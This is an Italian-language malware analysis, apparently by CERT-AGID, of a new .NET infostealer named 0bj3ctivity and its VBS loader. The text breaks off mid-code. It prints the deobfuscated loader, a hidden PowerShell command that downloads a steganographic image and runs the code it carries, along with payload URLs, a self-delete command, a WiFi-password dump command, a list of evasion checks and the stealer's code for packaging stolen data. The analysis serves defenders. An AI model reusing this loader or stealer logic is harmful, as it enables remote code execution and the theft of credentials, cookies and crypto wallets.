Entra in azione un nuovo infostealer: 0bj3ctivity

16/10/2023

analisi infostealer malware

Lo scorso 13 ottobre il CERT-AGID ha rilevato una campagna malware in lingua inglese (ma che ha coinvolto anche caselle di posta italiane) volta a veicolare un nuovo infostealer. La campagna utilizza un loader scritto in VBS che non sembra avere ancora un nome. Negli ultimi mesi questo loader ha fatto il suo debutto anche in campagne italiane (insieme ad IDAT Loader, precedentemente assente nel panorama italiano).

Il nuovo infostealer è piuttosto semplice ma è molto efficace, essendo capace di rubare una gran quantità di dati personali e sensibili. Quanto di seguito riportato riguarda l’analisi della campagna e la descrizione delle funzionalità dell’infostealer.

L’e-mail

Come anticipato, l’e-mail non è specifica per l’Italia ed è scritta in lingua Inglese. Al suo interno contiene un’immagine sfocata che è un collegamento ad un file VBS, ospitato su Discord, che avvia l’infezione.

Codigo Loader

Il file VBS scaricato dal link presente nell’e-mail è un loader che solo negli ultimi mesi è stato osservato in Italia. Non sappiamo se abbia già un nome: sembrerebbe comparire in un’analisi in lingua spagnola del 2020 e dato che, come vedremo, il secondo stadio ha sempre una forma specifica in cui compare la variabile $codigo, ragione per cui possiamo chiamarlo Codigo Loader. Il codice è offuscato e non è di immediata lettura:

Come il codice del loader si presenta alla sua lettura.

Tuttavia, al di là dell’effetto “Wall-of-text”, il codice abusa delle funzioni StrReplace e StrReverse per l’offuscazione ma non risulta difficile da semplificare. Quello che segue è il codice deoffuscato.

code = "JDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVQByDgTreGwDgTreIDgTreDgTre9DgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre2DgTreDEDgTreNgDgTrevDgTreDYDgTreMDgTreDgTre5DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrecgB1DgTreG0DgTrecDgTreBfDgTreHYDgTreYgBzDgTreC4DgTreagBwDgTreGcDgTrePwDgTrexDgTreDYDgTreOQDgTre1DgTreDQDgTreMDgTreDgTre4DgTreDkDgTreMwDgTre3DgTreCcDgTreOwDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB3DgTreGUDgTreYgBDDgTreGwDgTreaQBlDgTreG4DgTredDgTreDgTreuDgTreEQDgTrebwB3DgTreG4DgTrebDgTreBvDgTreGEDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVQByDgTreGwDgTreKQDgTre7DgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCDgTreDgTrePQDgTregDgTreCcDgTrePDgTreDgTre8DgTreEIDgTreQQBTDgTreEUDgTreNgDgTre0DgTreF8DgTreUwBUDgTreEEDgTreUgBUDgTreD4DgTrePgDgTrenDgTreDsDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCDgTreDgTrePQDgTregDgTreCcDgTrePDgTreDgTre8DgTreEIDgTreQQBTDgTreEUDgTreNgDgTre0DgTreF8DgTreRQBODgTreEQDgTrePgDgTre+DgTreCcDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTrepDgTreDsDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCDgTreDgTrePQDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTre7DgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreUwB1DgTreGIDgTrecwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreLDgTreDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreKQDgTre7DgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFIDgTreZQBmDgTreGwDgTreZQBjDgTreHQDgTreaQBvDgTreG4DgTreLgBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreXQDgTre6DgTreDoDgTreTDgTreBvDgTreGEDgTreZDgTreDgTreoDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCQDgTredDgTreB5DgTreHDgTreDgTreZQDgTregDgTreD0DgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTreuDgTreEcDgTreZQB0DgTreFQDgTreeQBwDgTreGUDgTreKDgTreDgTrenDgTreEYDgTreaQBiDgTreGUDgTrecgDgTreuDgTreEgDgTrebwBtDgTreGUDgTreJwDgTrepDgTreDsDgTreJDgTreBtDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreLgBHDgTreGUDgTredDgTreBNDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTreoDgTreCcDgTreVgBBDgTreEkDgTreJwDgTrepDgTreC4DgTreSQBuDgTreHYDgTrebwBrDgTreGUDgTreKDgTreDgTrekDgTreG4DgTredQBsDgTreGwDgTreLDgTreDgTregDgTreFsDgTrebwBiDgTreGoDgTreZQBjDgTreHQDgTreWwBdDgTreF0DgTreIDgTreDgTreoDgTreCcDgTredDgTreB4DgTreHQDgTreLgB6DgTreHoDgTreLwDgTrexDgTreDkDgTreLgDgTrezDgTreDMDgTreLgDgTreyDgTreDQDgTreLgDgTrezDgTreDkDgTreMQDgTrevDgTreC8DgTreOgBwDgTreHQDgTredDgTreBoDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBkDgTreGYDgTreZDgTreBmDgTreGQDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreGQDgTreZgBkDgTreGYDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreGQDgTreZgBkDgTreGYDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreGQDgTreYQBkDgTreHMDgTreYQDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBlDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBjDgTreHUDgTreJwDgTrepDgTreCkDgTre" Set wShell = WScript.CreateObject("WScript.Shell") script = "$Codigo = '" & code & "'"";$OWjuxd = [system.Text.encoding]::Unicode.GetString(""[system.Convert]::Frombase64string( $codigo.replace('DgTre','A') ))"";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""" cmd = "powershell -command """ & script & """" wShell.Run cmd, 0, False

Lo script alla fine esegue un comando con il componente COM WScript.Shell, tramite il suo metodo Run. Questo metodo è chiamato in chiaro nel codice e lo si trova subito anche nel codice offuscato.

Rimpiazzando ogni chiamata a Run con il codice sotto ed eseguendo lo script ci si trova con dei file contenenti il comando del prossimo stadio:

Set fso = CreateObject("Scripting.FileSystemObject") Set file = fso.CreateTextFile("<nome univoco>.txt") file.Write <primo argomento di Run> file.Close

Al di là di come viene recuperato il comando usato per lanciare il prossimo stadio, questo ha sempre la forma:

$Codigo = '<base64>'; $OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('DgTre','A') )); powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

Il comando Powershell eseguito può essere decodificato con Cyberchef:

$imageUrl = 'https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937'; $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($imageUrl); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.zz/19.33.24.391//:ptth' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))

Il codice Powershell eseguito ha sempre la forma riportata sopra (esempio in altra campagna) e:

  • Scarica un’immagine di nome rump_vbs.jpg da uploaddeimagens.com.br. Tramite steganografia spicciola nell’immagine è appeso un assembly .NET codificato in base64.
  • Viene invocato il metodo Fiber.Home.VAI dell’assembly, passandogli quello che è un URL al contrario.

Il metodo Fiber.Home.VAI non è mostrato perchè si tratta di codice comune che scarica il file passatogli, ordina in contenuto in ordine inverso, lo decodifica da Base64 e lo esegue.

Questo nuovo stadio è a sua volta un’assembly .NET: anche qui si tratta di codice comune senza offuscazione e che ha il compito di scaricare il payload finale (l’infostealer) da

https[:]//whatismyipaddressnow[.co/API/FETCH/filter[.php?countryid=14&token=jUQqyeLYJuzU.

Il payload è compresso con GZIP e poi codificato in Base64 per cui per decodificare il codice vengono effettuate le operazioni inverse in ordine opposto.

Il funzionamento di Codigo Loader si può riassumere nel seguente schema.

L’infostealer

Il payload finale si rivelerà essere un infostealer che al momento non sembra avere ancora un nome. Non sono presenti stringhe utili ad attribuirne uno e non sembra avere codice in comune con altri infostealer scritti in .NET. Il titolo dell’assembly .NET è 0bj3ctivity e possiamo proporre di usarlo come nome per l’infostealer.

L’infostealer vero e proprio è un assembly .NET ed è leggermente offuscato. Alcuni metodi presentano una CFO (Control Flow Obfuscation), una tecnica che riscrive una sequenza lineare di codice in una sequenza interrotta da salti.

L’entry-point dello spyware. Si nota la CFO.

L’altra forma di offuscazione usata è quella sulle stringhe. Il codice sotto mostra come le stringhe si presentano nel malware:

La funzione dell’infostealer che ha il compito di cancellarlo e terminare (usata qualora venisse rilevata una VM, Sandbox o un processo per il reverse engineering).

Deoffuscare il malware

La CFO rende il codice meno leggibile ma non incomprensibile: questo è dovuto non solo alla semplicità della forma specifica di offuscazione usata ma anche al fatto che l’infostealer è molto semplice, con metodi corti e funzionalità prevedibili.

Le stringhe invece sono totalmente incomprensibili, partiamo quindi da queste. Come sempre, è necessario individuare i pattern del codice. Dall’esempio sopra e visionando altri punti in cui sono presenti delle stringhe, si deduce che queste sono deoffuscate tutte allo stesso modo con la sequenza di chiamate:

Encoding.UTF8.GetString(Convert.FromBase64String(fd(fs(), f0(), f1(), f2(), f3(), f4())))

Dove:

  • fd è la funzione che decifra la stringa offuscata in quella che deve per forza essere una stringa Base64. fd è mostrata sotto e prende un primo argomento stringa e 5 altri argomenti interi. Nel nostro sample fd ha nome vunixuxtemp.
  • fs è una funzione che ritorna la stringa offuscata. Queste non sono infatti string literal usati direttamente nella chiamata ad fd ma hanno fs come “passaggio intermedio” per complicare l’analisi.
  • f1f4 sono funzioni che ritornano interi. Anche qui non sono usati int literal per lo stesso discorso fatto per fs.

Il codice di fd è molto semplice e mostra alcune sorprese:

Il codice di fd che converte una stringa offuscata in una stringa Base64 da cui si ottiene la stringa non offuscata.

Dei 5 parametri interi di fd, solo il secondo è usato (A_2 nel codice sopra) e l’intera funzione non fa altro che sottrarre A_2 ad ogni carattere del suo unico parametro stringa. fd può quindi essere scritta come:

public static string fd(string s, int i0, int i1, int i2, int i3, int i4) => string.Concat(from c in s select c - i1);

Ogni funzione fs si presenta come la seguente (presa ad esempio):

Un’esempio di funzione fs.

Ogni funzione fs ne chiama un’altra (mostrata sopra sulla destra) che ritorna la stringa offuscata direttamente come string literal nello statement return. E’ presente un semplice controllo per impedire che la funzione sia usata invocando i metodi dell’assembly (es: con de4dot).

Recuperare la stringa offuscata data una funzione fs necessita quindi di seguire la chiamata interna e poi semplicemente prendere la stringa ritornata. A livello di IL la funzione interna termina quindi sempre con la sequenza:

ldstr "<stringa offuscata>" ret

Considerando che useremo dnlib per deoffuscare l’assembly, possiamo già scrivere una funzione helper che dato un oggetto MethodDef corrispondente ad una fs ritorna la stringa offuscata che rappresenta:

private static string FindReturnedStr(MethodDef md) { //Follow a call if present var calls = from i in md.Body.Instructions where i.OpCode == OpCodes.Call select i.Operand; if (calls.First() is MethodDef imd) md = imd; //Get the returned string var ins = md.Body.Instructions[md.Body.Instructions.Count - 2]; if (ins.OpCode != OpCodes.Ldstr) throw new Exception("Unexpected Opcode " + ins.OpCode); return ins.Operand as string; }

Il codice fa esattamente quanto descritto prima.

Riguardo gli altri parametri di fd, ovvero le funzioni f0f4, queste ritornano tutte degli interi. Visionando qualche istanza di queste funzioni si notano solo due pattern:

Due esempi di funzioni f1-f4 ed il loro codice IL a destra.

Il pattern più semplice ritorna direttamente un int literal, l’altro pattern somma o sottrae tre numeri. Quest’ultimo pattern è più noioso da gestire ma per fortuna i numeri usati sono sempre tre copie del solito valore, valore che corrisponde anche a quanto ritornato (es: 1000 + 1000 – 1000 = 1000) per cui a livello di IL abbiamo i seguenti casi:

ldc.i4.s <num> ret ldc.i4 <num> sub / add ret

Questi pattern si possono riconoscere facilmente, la funzione helper qui sotto fa proprio questo.

private static int FindReturnedInt(MethodDef md) { var ins = md.Body.Instructions[md.Body.Instructions.Count - 2]; var ins2 = md.Body.Instructions[md.Body.Instructions.Count - 3]; if (ins.OpCode == OpCodes.Ldc_I4_S) return (sbyte)ins.Operand; if ( (ins.OpCode == OpCodes.Sub || ins.OpCode == OpCodes.Add) && ins2.OpCode == OpCodes.Ldc_I4) return (int) ins2.Operand; throw new Exception("Unexpected Opcode " + md.FullName + ": " + ins.OpCode); }

A questo punto abbiamo tutti gli ingredienti per deoffuscare le stringhe. Una stringa compare nel codice IL del malware come una sequenza di istruzioni IL con la forma seguente:

La sequenza di istruzioni da sostituire con una stringa

Il codice per deoffuscare le stringhe dell’assembly (come sempre i percorsi sono hardcoded) di esempio è questo:

using System; using System.Linq; using System.Text; using dnlib.DotNet; using dnlib.DotNet.Emit; using dnlib.DotNet.Writer; namespace ConsoleApplication6 { internal class Program { private static string FindReturnedStr(MethodDef md) { var calls = from i in md.Body.Instructions where i.OpCode == OpCodes.Call select i.Operand; if (calls.First() is MethodDef imd) md = imd; var ins = md.Body.Instructions[md.Body.Instructions.Count - 2]; if (ins.OpCode != OpCodes.Ldstr) throw new Exception("Unexpected Opcode " + ins.OpCode); return ins.Operand as string; } private static int FindReturnedInt(MethodDef md) { var ins = md.Body.Instructions[md.Body.Instructions.Count - 2]; var ins2 = md.Body.Instructions[md.Body.Instructions.Count - 3]; if (ins.OpCode == OpCodes.Ldc_I4_S) return (sbyte)ins.Operand; if ( (ins.OpCode == OpCodes.Sub || ins.OpCode == OpCodes.Add) && ins2.OpCode == OpCodes.Ldc_I4) return (int) ins2.Operand; throw new Exception("Unexpected Opcode " + md.FullName + ": " + ins.OpCode); } public static void Main(string[] args) { //Open the assembly ModuleContext modCtx = ModuleDef.CreateModuleContext(); ModuleDefMD module = ModuleDefMD.Load(@"C:\users\labbe\desktop\p2.exe", modCtx); //Scan each method in the assembly foreach (var td in module.Types) foreach (var md in td.Methods) { //This can happen... if (md?.Body?.Instructions == null) continue; //Scan each instruction for (var i = 9; i < md.Body.Instructions.Count; i++) { //Get the two from the last instructions at i var ins = md.Body.Instructions[i]; var pins = md.Body.Instructions[i-1]; //If this a Encoding.GetText(Convert.FromBase64String(...)) call sequence? if (ins.OpCode == OpCodes.Callvirt && ins.Operand is MemberRef target && target.Name == "GetString" && target.Class.Name == "Encoding" && pins.OpCode == OpCodes.Call && pins.Operand is MemberRef ptarget && ptarget.Name == "FromBase64String" && ptarget.Class.Name == "Convert" ) { //Get the fs and f1, that's all we need (remember IL args are pushed IN ORDER) var strIns = md.Body.Instructions[i-8]; var keyIns = md.Body.Instructions[i-6]; //Check those instructions are actually calls if (strIns.OpCode != OpCodes.Call || keyIns.OpCode != OpCodes.Call) continue; //Find the constants var encodedStr = FindReturnedStr(strIns.Operand as MethodDef); var key = FindReturnedInt(keyIns.Operand as MethodDef); //Decode var decodedStr = new string((from c in encodedStr select (char)(c - key)).ToArray()); var originalStr = Encoding.UTF8.GetString(Convert.FromBase64String(decodedStr)); //Synthesize an ldstr with the deobfuscated string md.Body.Instructions[i].OpCode = OpCodes.Ldstr; md.Body.Instructions[i].Operand = originalStr; //Nop the other instructions for (var j = 1; j < 10; j++) md.Body.Instructions[i - j].OpCode = OpCodes.Nop; } } } //Save the deobfuscated assembly ModuleWriterOptions options = new ModuleWriterOptions(module); options.Logger = DummyLogger.NoThrowInstance; module.Write(@"C:\users\labbe\desktop\p3.exe", options); } } }

Qui sotto lo stesso metodo prima e dopo la deoffuscazione:

Deoffuscate le stringhe rimane da eliminare la CFO. Questa però non pone particolari problemi per l’analisi per via di quanto osservato precedentemente, per cui non abbiamo speso tempo a rimuoverla.

Questa forma di CFO riscrive una sequenza di istruzioni I0, I1, …, Ik come uno statement switch in cui all’istruzione Ij è assegnato il numero j. Viene poi usato un contatore C inizialmente 0 per selezionare, tramite lo switch, l’istruzione con numero C. Dopo ogni istruzione C è semplicemente incrementato. I case dello switch sono scritti fuori ordine, altrimenti si avrebbero le istruzioni nell’ordine originale. Deoffuscare questa CFO è semplice perchè a livello di IL si ha una sequenza di blocchi di istruzioni della forma:

nop ldloc.0 ldc.i4/.<N> <N> ceq brfalse <next_case> <original instructions sequence> ldc.i4.<N+1> / <N+1> stloc.0

Da questi blocchi è possibile estrarre le informazioni necessarie (N e le istruzioni originali) per ricostruire la sequenza originale. Un po’ di codice va speso per rilevare la presenza del ciclo while a cui lo switch sottende e che serve per portare avanti l’esecuzione. Un po’ più complessa è la gestione dei salti condizionali ma anche qui, grazie al fatto che lavorando a livello IL, il vero lavoro lo fa il decompilatore di dnSpy e la complessità rimane gestibile. Il codice per rimuovere la CFO è lasciato ai lettori che vogliono esercitarsi con la deoffuscazione.

Le funzionalità dell’infostealer

L’infostealer è molto semplice da analizzare una volta deoffuscate le stringhe. Non ha funzionalità o configurazioni complesse e si “limita” a raccogliere i dati da rubare, inviarli per e-mail o ad un canale telegram e poi termina.

L’entry-point del malware si presenta con una chiamata ad una funzione Init ed una chiamata alla funzione che collezione ed esfiltra i dati.

L’entry-point dello spyware.

La funzione Init crea ed acquisisce un mutex con nome pari a quello della macchina che è usato per avere una sola istanza in esecuzione. Dopodichè, vengono fatti una serie di controlli anti reverse engineering. Questi sono:

  • Viene controllato che non siano in esecuzione nessuno dei seguenti processi: processhacker, netstat, netmon, tcpview, filemon, regmon, cain, codecracker, x32dbg, x64dbg, ollydbg, ida, charles, dnspy, simpleassembly, peek, httpanalyzer, httpdebug, fiddler, wireshark, dbx, mdbg, gdb, windbg, dbgclr, kdb, kgdb, mdb, processhacker, scylla_x86, scylla_x64, scylla, idau64, idau, idaq, idaq64, idaw, idaw64, idag, idag64, ida64, ida, ImportREC, IMMUNITYDEBUGGER, MegaDumper, CodeBrowser, reshacker, cheatengine.
  • Viene controllato che nel processo non siano presenti nessuna delle seguenti DLL: SbieDll, cmdvrt32, VMToolsHook, vmmousever, SxIn, Sf2, snxhk, vm3dgl, vmtray.
  • Viene controllato che le parole virtual, vmware e virtualbox non siano presenti nel nome del produttore del computer e che le parole vmware e vbox non siano presenti nel modello della scheda video (questi informazioni sono recuperate tramite WMI).
  • Viene controllata la presenza di un debugger con l’API CheckRemoteDebuggerPresent.
  • Viene controllato che a cavallo di una chiamata all’API Sleep i valori ritornati da DateTime.Now (che fa uso di GetSystemTimeAsFileTime) siano consistenti. Questa tecnica serve a verificare se il malware è eseguito in una sandbox (che hanna la funzionalità di eliminare le pause e non sempre gestiscono correttamente tutte le API).

Nel caso lo spyware determinasse di essere eseguito in una macchina con funzionalità di reverse engineering, si cancella e si termina eseguendo il comando “cmd.exe /C choice /C Y /N /D Y /T 3 & Del “<path>”“. Il comando choice è necessario per effettuare una pausa di 3 secondi, durante la quale il malware termina in modo che il comando del abbia successo.

Se il malware non termina, avvia una serie di thread per il furto dei dati. L’uso di thread è probabilmente fatto per velocizzare la fase di collezionamento dei dati.

Inizio della funzione che colleziona i dati da rubare

I dati sottratti sono:

  • Informazioni sulla macchina (ottenute tramite WMI, API apposite o servizi pubblici):
    • Indirizzo IP del router di accesso ad internet (IP pubblico).
    • Indirizzo IP locale.
    • Indirizzo IP del gateway di rete locale.
    • Nome macchina.
    • Nome utente.
    • Modello CPU.
    • Modello GPU.
    • Versione di Windows.
    • Quantità di RAM.
    • Risoluzione dello schermo.
    • Percentuale di batteria.
    • Esito dei controlli anti reverse engineering.
    • Antivirus installati.
    • Se la macchina è una macchina di un hosting provider (secondo http://ip-api.com/line/?fields=hosting).
  • Account del client di chat Pidgin.
  • Credenziali di Foxmail.
  • Elenco dei programmi installati.
  • Le sessioni del client di chat ICQ.
  • Le credenziali di Outlook.
  • I dati nella clipboard.
  • I dati delle seguenti estensioni wallet di Edge: Edge_Auvitas, Edge_Math, Edge_Metamask, Edge_MTV, Edge_Rabet, Edge_Ronin, Edge_Yoroi, Edge_Zilpay, Edge_Terra_Station, Edge_Jaxx.
  • I dati delle seguenti estensioni wallet di Chrome: Chrome_Binance, Chrome_Bitapp, Chrome_Coin98, Chrome_Equal, Chrome_Guild, Chrome_Iconex, Chrome_Math, Chrome_Mobox, Chrome_Phantom, Chrome_Tron, Chrome_XinPay, Chrome_Ton, Chrome_Metamask, Chrome_Sollet, Chrome_Slope, Chrome_Starcoin, Chrome_Swash, Chrome_Finnie, Chrome_Keplr, Chrome_Crocobit, Chrome_Oxygen, Chrome_Nifty, Chrome_Liquality.
  • I dati delle sessioni Telegram.
  • SSID e password delle reti WiFi salvate sulla macchina. Questo è fatto parsando l’output del comando: cmd.exe /C chcp 65001 && netsh wlan show profile | findstr All.
  • I dati delle applicazioni Signal e Tox.
  • I dati delle seguenti applicazioni wallet: Zcash, Armory, Bytecoin, Jaxx, Exodus, Ethereum, Electrum, AtomicWallet, Guarda, Coinomi.
  • Le chiavi di attivazione di Windows.
  • Le credenziali ed i cookie salvate nei seguenti browser basati su Firefox: Firefox, SeaMonkey, PostBox, Waterfox, K-Melon, Thunderbird, IceDragon, Cyberfox, BlackHaw, PaleMoon.
  • Le credenziali salvate su FileZilla.
  • Le sessioni e le credenziali Skype, Element e Discord.
  • Le credenziali, carte di credito ed i cookie salvate nei seguenti browser basati su Chromium: Chrome, Chrome, Chrome, Blisk, Avast, Slimjet, Kinza, Xvast, Opera, 360 Browser, Comodo Dragon, CoolNovo, Torch Browser, Brave Browser, Iridium Browser, 7Star, Amigo, CentBrowser, Chedot, CocCoc, Elements Browser, Epic Privacy Browser, Kometa, Orbitum, Sputnik, uCozMedia, Vivaldi, Sleipnir 6, Citrio, Coowon, Liebao Browser, QIP Surf, Edge Chromium.

Tra le informazioni sottratte figurano quindi anche l’SSID e la password delle reti WiFi note, nonchè le chiavi di attivazione di Windows.

Le informazioni sottratte sono poi organizzate in una struttura gerarchica (tramite l’ausilio di un dizionario) e salvate come file testuali compressi in un unico ZIP. La struttura del dizionario ricalca quella dello ZIP creato:

public static Dictionary<string, byte[]> MakeStolenDataMap() { int num = 0; do { if (num == 0) { num = 1; } } while (num != 1); return new Dictionary<string, byte[]> { { "Gecko/", new byte[0] }, { "Gecko/Cookies.txt", Encoding.UTF8.GetBytes(fomdata.gckCookiesList.ToString()) }, { "Gecko/History.txt", Encoding.UTF8.GetBytes(fomdata.gckHistoryList.ToString()) }, { "Gecko/Recovery.txt", Encoding.UTF8.GetBytes(fomdata.gckRecoveriesList.ToString()) }, { "Chromium/", new byte[0] }, { "Chromium/Cookies.txt", Encoding.UTF8.GetBytes(fomdata.chmCookiesList.ToString()) }, { "Chromium/Bookmarks.txt", Encoding.UTF8.GetBytes(fomdata.chmBookmarksList.ToString()) }, { "Chromium/History.txt", Encoding.UTF8.GetBytes(fomdata.chmHistoryList.ToString()) }, { "Chromium/Recovery.txt", Encoding.UTF8.GetBytes(fomdata.chmRecoveriesList.ToString()) }, { "Chromium/AutoFill.txt", Encoding.UTF8.GetBytes(fomdata.chmAutoFillList.ToString()) }, { "Chromium/CreditCards.txt", Encoding.UTF8.GetBytes(fomdata.chmCreditCardList.ToString()) }, { "Chromium/Downloads.txt", Encoding.UTF8.GetBytes(fomdata.chmDownloadsList.ToString()) }, { "Chromium/TopSites.txt", Encoding.UTF8.GetBytes(fomdata.chmTopSitesList.ToString()) }, { "Extensions/", new byte[0] }, { "Extensions/ChromiumExtensions.zip", fomdata.ChromiumExtensions }, { "Extensions/EdgeExtensions.zip", fomdata.EdgeExtensions }, { "Sessions/", new byte[0] }, { "Sessions/Telegram.zip", fomdata.TelegramSessions }, { "Sessions/Skype.zip", fomdata.SkypeSessions }, { "Sessions/Element.zip", fomdata.ElementSessions }, { "Sessions/Signal.zip", fomdata.SignalSessions }, { "Messengers/", new byte[0] }, { "Messengers/OutLook.txt", 